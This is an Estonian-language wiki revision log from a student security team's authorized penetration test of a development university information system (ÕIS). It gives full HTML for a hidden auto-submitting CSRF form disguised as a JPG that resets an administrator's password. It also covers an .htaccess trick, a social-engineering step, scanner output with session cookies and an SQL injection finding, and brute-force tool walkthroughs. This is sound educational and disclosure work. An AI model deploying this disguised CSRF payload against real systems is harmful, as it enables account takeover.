  &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Salvesta seaded&amp;quot; name=&amp;quot;Savesettings&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.&lt;br /&gt;
&lt;br /&gt;
Katsetas koodi enda konto peal Taavi.&lt;br /&gt;
&lt;br /&gt;
=====2. katse - ÕIS&#039;i kasutaja parooli muutmine =====&lt;br /&gt;
&lt;br /&gt;
[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]&lt;br /&gt;
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.&lt;br /&gt;
&lt;br /&gt;
Selle jaoks uurisime välja, kus asub dev-ÕIS&#039;i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.&lt;br /&gt;
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.&lt;br /&gt;
&lt;br /&gt;
Muutsime password ja password_check lahtrite väärtused järgnevaks: &amp;quot;test123&amp;quot; ehk kasutaja uus parool peale rünnakut.&lt;br /&gt;
&lt;br /&gt;
Lahtrites muutsime user_id&#039;d sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.&lt;br /&gt;
&lt;br /&gt;
Kõik vormi lahtrite tüübid määrasime peidetud ehk &amp;quot;hidden&amp;quot;, et poleks midagi näidata. &lt;br /&gt;
&lt;br /&gt;
Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist. &lt;br /&gt;
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.&lt;br /&gt;
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.&lt;br /&gt;
&lt;br /&gt;
Lisasime CSS koodi Submit nupu ära peitmiseks. &lt;br /&gt;
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Salvestasime faili ära kui &amp;quot;screen1.jpg&amp;quot; fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.&lt;br /&gt;
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
 &amp;lt;head&amp;gt;&lt;br /&gt;
  &amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&lt;br /&gt;
	  #Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }&lt;br /&gt;
  &amp;lt;/style&amp;gt;&lt;br /&gt;
 &amp;lt;/head&amp;gt;&lt;br /&gt;
 &amp;lt;body&amp;gt;&lt;br /&gt;
  &amp;lt;body onload=&amp;quot;document.forms.setPasswordForm.submit();&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;form name=&amp;quot;setPasswordForm&amp;quot; id=&amp;quot;setPasswordForm&amp;quot; &lt;br /&gt;
  action=&amp;quot;https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&amp;amp;amp;continue=/auth/logout&amp;quot;  &lt;br /&gt;
  method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_id&amp;quot; value=&amp;quot;2227&amp;quot; id=&amp;quot;user_id&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;continue&amp;quot; value=&amp;quot;%2Fet%2Fsetting%3Fuser_id%3D2227&amp;quot; id=&amp;quot;continue&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password_check&amp;quot; id=&amp;quot;password_check&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;Setpassword&amp;quot; id=&amp;quot;Setpassword&amp;quot; value=&amp;quot;Muuda salasõna&amp;quot; /&amp;gt;&lt;br /&gt;
  &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]&lt;br /&gt;
&lt;br /&gt;
Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php .jpg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Laadisime mõlemad failid Enose veebiserverisse avalikult. &lt;br /&gt;
&lt;br /&gt;
Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki. &lt;br /&gt;
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.&lt;br /&gt;
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle. &lt;br /&gt;
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.&lt;br /&gt;
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail. &lt;br /&gt;
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja. &lt;br /&gt;
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud &amp;quot;test123&amp;quot;-ks ja me saime ligipääsu administraatori õigustes kontole. &lt;br /&gt;
Rünnak oli edukas.&lt;br /&gt;
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]&lt;br /&gt;
&lt;br /&gt;
Andsime teada Valterile teada, et tegelikult tegime salajase ründe. &lt;br /&gt;
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha. &lt;br /&gt;
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug&#039;iga.&lt;br /&gt;
&lt;br /&gt;
Kuna tegu oli ÕIS&#039;i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.&lt;br /&gt;
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
===Burp suite===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Esimese asjane peale Burp suite käivitamist. Tabilt proxy  -&amp;gt;intercept -&amp;gt;intercept off&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)&amp;lt;br&amp;gt;&lt;br /&gt;
Proxy  -&amp;gt; options alt lülitada sisse proxy listner pordile 8080 .&amp;lt;br&amp;gt;&lt;br /&gt;
Ohvri valimine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida intruder -&amp;gt; target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.&amp;lt;br&amp;gt;&lt;br /&gt;
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.&amp;lt;br&amp;gt;site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.&lt;br /&gt;
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.&amp;lt;br&amp;gt;&lt;br /&gt;
Targer-&amp;gt;scope -&amp;gt; exclude  frome scope ja veenduda at välja on arvatud logout laused.&amp;lt;br&amp;gt;&lt;br /&gt;
Spideringi sisselülitamine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida tab Spide ning sealt panna linnuke kasti spider running.&amp;lt;br&amp;gt;&lt;br /&gt;
Ning oledki valmis saama laheküljelt infot.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.&lt;br /&gt;
&lt;br /&gt;
==Nessuse algkäivitamine==&lt;br /&gt;
Valida backtrackist  vulnerability scannerite alt nessus ning edasi nessus register .&amp;lt;br&amp;gt; Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.&amp;lt;br&amp;gt; Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)&amp;lt;br&amp;gt;&lt;br /&gt;
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt valida nessus start.&amp;lt;br&amp;gt;&lt;br /&gt;
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834 &lt;br /&gt;
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.&amp;lt;br&amp;gt;&lt;br /&gt;
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]&lt;br /&gt;
Backtarcki keskkonnas sai testitud programmi w3af.&lt;br /&gt;
&lt;br /&gt;
==== Backtrack: w3af ====&lt;br /&gt;
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]&lt;br /&gt;
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]&lt;br /&gt;
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]&lt;br /&gt;
Võimalik kätte saada SSL Certificate.&lt;br /&gt;
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:&lt;br /&gt;
  https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?&lt;br /&gt;
  username=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&amp;amp;continue=&amp;amp;Login=Logi sisse&amp;amp;pw=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
Programmi sisestatud andmetega ka mitte:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Basic HTTP Authentication:&lt;br /&gt;
    basicAuthUser: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthPass: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthDomain: http://itcollege.dev.ois.ee&lt;br /&gt;
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Cookies&lt;br /&gt;
    cookieJarFile: /root/Desktop/&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;ois_cookie.txt&amp;lt;/font&amp;gt;&lt;br /&gt;
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:&lt;br /&gt;
  # Netscape HTTP Cookie File&lt;br /&gt;
  .dev.ois.ee	TRUE	/	FALSE	1731510001	itcollege_OIS_SESSION_ID	&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;870aqllryuw3cmf6cv8ellha03&amp;lt;/font&amp;gt;&lt;br /&gt;
Esimene rida on nõutav! Teiste tähendused:&lt;br /&gt;
  domain - The domain that created and that can read the variable.&lt;br /&gt;
  flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.&lt;br /&gt;
    This value is set automatically by the browser, depending on the value you set for domain.&lt;br /&gt;
  path - The path within the domain that the variable is valid for.&lt;br /&gt;
  secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.&lt;br /&gt;
  expiration - The UNIX time that the variable will expire on.&lt;br /&gt;
  name - The name of the variable.&lt;br /&gt;
  value - The value of the variable.&lt;br /&gt;
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:&lt;br /&gt;
  Edit -&amp;gt; Preferences -&amp;gt; Privacy -&amp;gt; History -&amp;gt; remove individual cookies&lt;br /&gt;
    Search: itcollege.dev.ois.ee&lt;br /&gt;
    Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skänneerimine:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The page language is: en&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; has a &amp;quot;&amp;lt;form&amp;gt;&amp;quot; element with auto-complete enabled.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A comment with the string &amp;quot;&amp;lt;p&amp;amp;gt;tunne end kui koolis&amp;lt;/p&amp;amp;gt;&amp;quot; was found in: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Found a form login. The action of the form is: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  The username field to be used is: &amp;quot;username&amp;quot;.&lt;br /&gt;
  The password field to be used is: &amp;quot;pw&amp;quot;.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;Found authentication credentials to: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;. A correct user and password combination is: Administrador/6666666&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  Antud kasutaja ja parooliga sisse ei saanud.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; returned a response that may contain a &amp;quot;SHA1&amp;quot; hash. The hash is: &amp;quot;c7b39896de5f296b5a44c2dfcd9f0600b2cf424d&amp;quot;. This is uncommon and requires human verification.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; sent these cookies:&amp;lt;/li&amp;gt;&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/&lt;br /&gt;
&amp;lt;li&amp;gt;The SMTP settings in emailReport plugin seem to be incorrect. Original error: &amp;quot;[Errno 111] Connection refused&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Kui tuleb see veateade, siis skänn katkeb.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;SQL injection in a Unknown database was found at: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;, using HTTP method POST.&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The sent post-data was: &amp;quot;username=John8212&amp;amp;security_key_sis_global=d&#039;z&amp;quot;0&amp;amp;Login=Logi%20sisse&amp;amp;continue=56&amp;amp;pw=FrAmE30.&amp;quot;.&lt;br /&gt;
    The modified parameter was &amp;quot;security_key_sis_global&amp;quot;. This vulnerability was found in the request with id 390.&lt;br /&gt;
&amp;lt;li&amp;gt;Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt&amp;lt;/li&amp;gt;&lt;br /&gt;
  User-agent: *&lt;br /&gt;
  Disallow: /&lt;br /&gt;
  Allow: /curriculum&lt;br /&gt;
  Allow: /subject&lt;br /&gt;
  Allow: /diploma&lt;br /&gt;
  Allow: /schedule/ical&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 4. päev - Presentatsiooni tegemine ja esitlemine ==&lt;br /&gt;
&lt;br /&gt;
Koostasime presentatsiooni ja esitlemine.&lt;br /&gt;
&lt;br /&gt;
[[Media:Security_team_presentation.ppt]]&lt;br /&gt;
&lt;br /&gt;
== Tegijad ==&lt;br /&gt;
Alo Konno&amp;lt;br&amp;gt;&lt;br /&gt;
Urmo Lihten&amp;lt;br&amp;gt;&lt;br /&gt;
Taavi Podžuks&amp;lt;br&amp;gt;&lt;br /&gt;
Matis Alliksoo&amp;lt;br&amp;gt;&lt;br /&gt;
Sander Saarm&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47005</id>
		<title>Security team</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47005"/>
		<updated>2012-03-30T09:28:17Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* Security Team tegevusplaan */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== 1. päev - Materjalidga tutvumine ==&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&lt;br /&gt;
&lt;br /&gt;
    A1: Injection - Urmo&lt;br /&gt;
    A2: Cross-Site Scripting (XSS) - Alo&lt;br /&gt;
    A3: Broken Authentication and Session Management - Sander&lt;br /&gt;
    A4: Insecure Direct Object References - Alo&lt;br /&gt;
    A5: Cross-Site Request Forgery (CSRF) - Taavi&lt;br /&gt;
    A6: Security Misconfiguration - Matis&lt;br /&gt;
    A7: Insecure Cryptographic Storage - Matis&lt;br /&gt;
    A8: Failure to Restrict URL Access - Urmo&lt;br /&gt;
    A9: Insufficient Transport Layer Protection - Taavi&lt;br /&gt;
    A10: Unvalidated Redirects and Forwards - Sander&lt;br /&gt;
&lt;br /&gt;
Sanderi konspekt: [[Media:Ois_materjal.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]]&lt;br /&gt;
&lt;br /&gt;
== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==&lt;br /&gt;
===Security Team tegevusplaan===&lt;br /&gt;
1.	Päev&amp;lt;br&amp;gt;&lt;br /&gt;
 1.1	Tutvuda OWASP’iga. &amp;lt;br&amp;gt;&lt;br /&gt;
 1.2	Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.&amp;lt;br&amp;gt;&lt;br /&gt;
 1.3	Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.&amp;lt;br&amp;gt;&lt;br /&gt;
2.	Päev&amp;lt;br&amp;gt;&lt;br /&gt;
 2.1	Esitada tiimi tegevusplaan.&amp;lt;br&amp;gt;&lt;br /&gt;
 2.2	Tutvuda turvariskidega natuke põhjalikumalt.&amp;lt;br&amp;gt;&lt;br /&gt;
 2.3	Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.&amp;lt;br&amp;gt;&lt;br /&gt;
 2.4	Täiendada esimese päeva ettekannet.&amp;lt;br&amp;gt;&lt;br /&gt;
3.	Päev&amp;lt;br&amp;gt;&lt;br /&gt;
 3.1	Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.&amp;lt;br&amp;gt;&lt;br /&gt;
 3.2	Saadud tulemuste dokumenteerimine.&amp;lt;br&amp;gt;&lt;br /&gt;
4.	Päev&amp;lt;br&amp;gt;&lt;br /&gt;
 4.1	Saadud tulemuste esitlemine ettekandega&amp;lt;br&amp;gt;&lt;br /&gt;
5.	Päev&amp;lt;br&amp;gt;&lt;br /&gt;
 5.1	Tulemuste parandamine wiki’s.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
&lt;br /&gt;
http://www.acunetix.com/support/vulnerability-checks.htm&lt;br /&gt;
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting&lt;br /&gt;
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting&lt;br /&gt;
http://www.youtube.com/watch?v=SG1cvGQ971g&lt;br /&gt;
http://www.isecom.org/research.html&lt;br /&gt;
http://evuln.com/tools/&lt;br /&gt;
http://sectools.org/tag/web-scanners/&lt;br /&gt;
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/getting-started.htm&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:&lt;br /&gt;
Acunetix Web Vulnerability Scanner v. 8&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/&lt;br /&gt;
&lt;br /&gt;
Pärast programmi installimist tuli seadistada skännimine, valisime keskmie põhjalikkusega skänni.&lt;br /&gt;
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.&lt;br /&gt;
Antud programm võimaldab skännida:&lt;br /&gt;
Cross-Site Scripting (XSS)&lt;br /&gt;
SQL Injection (blind test)&lt;br /&gt;
File inclusion&lt;br /&gt;
Code Execution&lt;br /&gt;
LDAP Injection&lt;br /&gt;
Cross Frame Scripting&lt;br /&gt;
SQL Injection (error msg. test)&lt;br /&gt;
CRLF Injection&lt;br /&gt;
Directory Travelsal&lt;br /&gt;
XPath Injection&lt;br /&gt;
URL Redirection&lt;br /&gt;
Application Error Message&lt;br /&gt;
&lt;br /&gt;
Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
&lt;br /&gt;
Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.&lt;br /&gt;
&lt;br /&gt;
Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application&#039;i.&lt;br /&gt;
&lt;br /&gt;
==== Brute Force (DVWA) ====&lt;br /&gt;
Käsitsi välja uuritud login andmed:&lt;br /&gt;
kasutajanimi: admin&lt;br /&gt;
parool: password&lt;br /&gt;
&lt;br /&gt;
===== Fireforce plugin Firefoxis =====&lt;br /&gt;
Tekitatud sai ka password list faili pass.txt.&lt;br /&gt;
&lt;br /&gt;
Kasutusel oli Firefox brauser, kuhu installisime plugin&#039;a Fireforce. &lt;br /&gt;
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .&lt;br /&gt;
&lt;br /&gt;
Panime kasutajanimeks &amp;quot;admin&amp;quot; ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.&lt;br /&gt;
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud. &lt;br /&gt;
Selleks sai sõna &amp;quot;incorrect&amp;quot;.&lt;br /&gt;
Määrata ära tuli ka, et mitu päringut sekundis tehakse. &lt;br /&gt;
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada. &lt;br /&gt;
Päringute tegemise kiirus vähem kui 1 päring/sekundis.&lt;br /&gt;
&lt;br /&gt;
Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.&lt;br /&gt;
Kasutasime ka videos näidatud &amp;quot;@ DICTIONARY&amp;quot; teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.&lt;br /&gt;
&lt;br /&gt;
Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.&lt;br /&gt;
&lt;br /&gt;
===== Burpsuite v1.4 =====&lt;br /&gt;
Burpsuite v1.4 on Samurai WTF&#039;il olemas juba sees ja saab kohe käima panna.&lt;br /&gt;
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI&#039;st]]&lt;br /&gt;
&lt;br /&gt;
Programm on juba loomult keerulisem. &lt;br /&gt;
Burpsuite&#039;iga tuleb panna käima proxy server localhost&#039;is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.&lt;br /&gt;
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. &lt;br /&gt;
Läbi proxy serveri tuleb BurpSuite&#039;ile kohale vastava veebilehe Header sisselogimise kohta.&lt;br /&gt;
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.&lt;br /&gt;
Payload&#039;i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.&lt;br /&gt;
Ründe stiiliks määrata Pitchfork.&lt;br /&gt;
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.&lt;br /&gt;
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.&lt;br /&gt;
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -&amp;gt; Start Attack, mis siis alustas rünnet. &lt;br /&gt;
Kahjuks ka see rünne ei toiminud teadmata põhjusel. &lt;br /&gt;
Proovitud sai ka lühemate nimekirjadega ja edutult. &lt;br /&gt;
&lt;br /&gt;
Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt. &lt;br /&gt;
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.&lt;br /&gt;
&lt;br /&gt;
==== CSRF - Cross-site request forgery ====&lt;br /&gt;
Katsetamine toimub koos Taaviga.&lt;br /&gt;
&lt;br /&gt;
Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.&lt;br /&gt;
&lt;br /&gt;
Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.&lt;br /&gt;
&lt;br /&gt;
Lõime uue faili - crosssite.txt&lt;br /&gt;
&lt;br /&gt;
DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.&lt;br /&gt;
